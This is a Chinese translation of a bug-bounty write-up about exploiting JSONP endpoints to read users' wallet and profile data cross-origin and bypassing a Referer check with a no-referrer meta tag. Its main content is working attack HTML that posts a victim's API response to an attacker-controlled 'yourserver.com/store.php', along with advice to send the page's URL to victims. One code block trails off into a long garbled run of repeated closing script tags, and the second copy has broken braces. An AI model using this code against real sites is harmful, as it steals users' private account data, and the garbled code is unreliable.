bugbounty: 利用JSONP绕过Referer检查

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原文链接: https://medium.com/@osamaavvan/exploiting-jsonp-and-bypassing-referer-check-2d6e40dfa24

各位小伙伴,你们好!!!

这篇文章是关于如何利用JSONP绕过Referer检查,并从API端点获取数据。

JSONP(JSON With

Padding)创建JSONP是为了授予对JavaScript的跨源读取访问权限,它充当SOP(同源策略)的例外,并允许跨源数据访问,它可用于绕过SOP以访问跨源数据。

简单看一下JSONP的工作机制:

返回数据的API端点在脚本标签中使用回调函数,回调函数的具体内容如下:

<script src="https://redact.com/api/user/profile?callback=call_me"></script>

我们需要在脚本中创建一个标签src传递回调函数(https://redact.com/api/user/profile?callback=call_me)你可以称它为:call_me

<script>function call_me(data) {console.log(data)}

代码将如下所示:

首先,我们需要创建回调函数,然后我们在脚本中创建标签

<script>function call_me(data) {console.log(data)}</script>

<script src="https://redact.com/api/user/profile?callback=call_me"></script>

此代码将在浏览器控制台中记录数据。

现在我们如何验证API是否容易受到此JSONP漏洞的攻击。

例如,我们有一个端点,显示用户钱包数据:

https://user.redact.com/payment/wallet/balance

```
"status": 0,
"msg": "SUCCESS",
"data": {
   "siteCode": ""
   "updateTime": "",
    "walletEffectiveAmount": "",
   "userId": "",
    "pwdSetting": false,
    "walletAmount": "",
    "exist": false,
    "createTime": ""
    "invalidAmount": ""
   "smallMoneyAmount": "",
    "awardAmount": "",
    "userEmail": "",
    "effectiveAmount": ""
```

先知社区

现在添加一个像这样的回调查询参数,

https://user.redact.com/payment/wallet/balance?callback=call_me

如果端点启用了JSONP,它将创建一个名为call_me的对象,所有数据都将在该对象内部,如下所示

```
← → C • user, A.com/payment/wallet/balance?callback=call_me

/**/call_me({"status":0,"msg":"SUCCESS","data":

{"siteCode":"","updateTime":"","walletEffectiveAmount":"","userId":"","pwdSetting":false,"walletAmount":"","exist":false,"createTime":"","invalidAmount":"","smallMoneyAmount":"","awardAmount":"","userEmail":"","effectiveAmount":""));
```

因此,这确认了端点支持JSONP并且可以被利用,现在我们将使用我之前解释过的JavaScript代码。

```
<script>function call_me(data) {console.log(data)}</script>
<script src="https://redact.com/api/user/profile?callback=call_me"></script>
```

现在你也可以创建一个.html文件,它将提取数据并将其存储在你想要的服务器上。你只需将URL发送给受害者,然后你就可以编写自己的JavaScript代码,具体代码信息如

```
<script>
function call_me(response) {
  var http = new XMLHttpRequest();
  var url = 'https://yourserver.com/store.php';
  var params = 'data='+JSON.stringify(response);
  http.open('POST', url, true);
  http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
  http.onreadystatechange = function() {
  if(http.readyState == 4 && http.status == 200) {
   console.log(http.responseText);
  }
  }
  http.send(params);
}
</script>
<script src="https://user.redact.com/api/user/profile?callback=call_me"></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script></script
```

绕过Referer检查

最近我发现了一个易受JSONP攻击的API端点,可以使用回调函数获取数据,并且我之前写的获取数据的代码可以使用,当从我的电脑本地运行代码时,我可以获取file:/但是当我在Web服务器上传文件时,我收到了一个错误的OBJECT而不是数据,其中包含身份验证错误和重定向URL到站点的登录页面。

```
经过几个小时的思考,我知道了服务器检查的方法:
```

首先:服务器检查Referer Header,如果Referer Header值包含跨域信息,则Server拒绝请求。

因此,为了绕过此安全检查,我只需要删除Referer Header。

我使用HTML meta 标签限制浏览器发送Referer Header, 它是:<meta name="referrer" content="no-referrer">

因此,在HTML heade中添加meta标签可以完成这项工作。

```
<head><meta name="referrer" content="no-referrer"></head>...
<script>
function call_me(response) {
var http = new XMLHttpRequest();
var url = 'https://yourserver.com/store.php';
var params = 'data='+JSON.stringify(response);
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
console.log(http.responseText);
http.send(params);
}
</script>
<script src="https://user.redact.com/api/user/profile?callback=call_me"></script>
```

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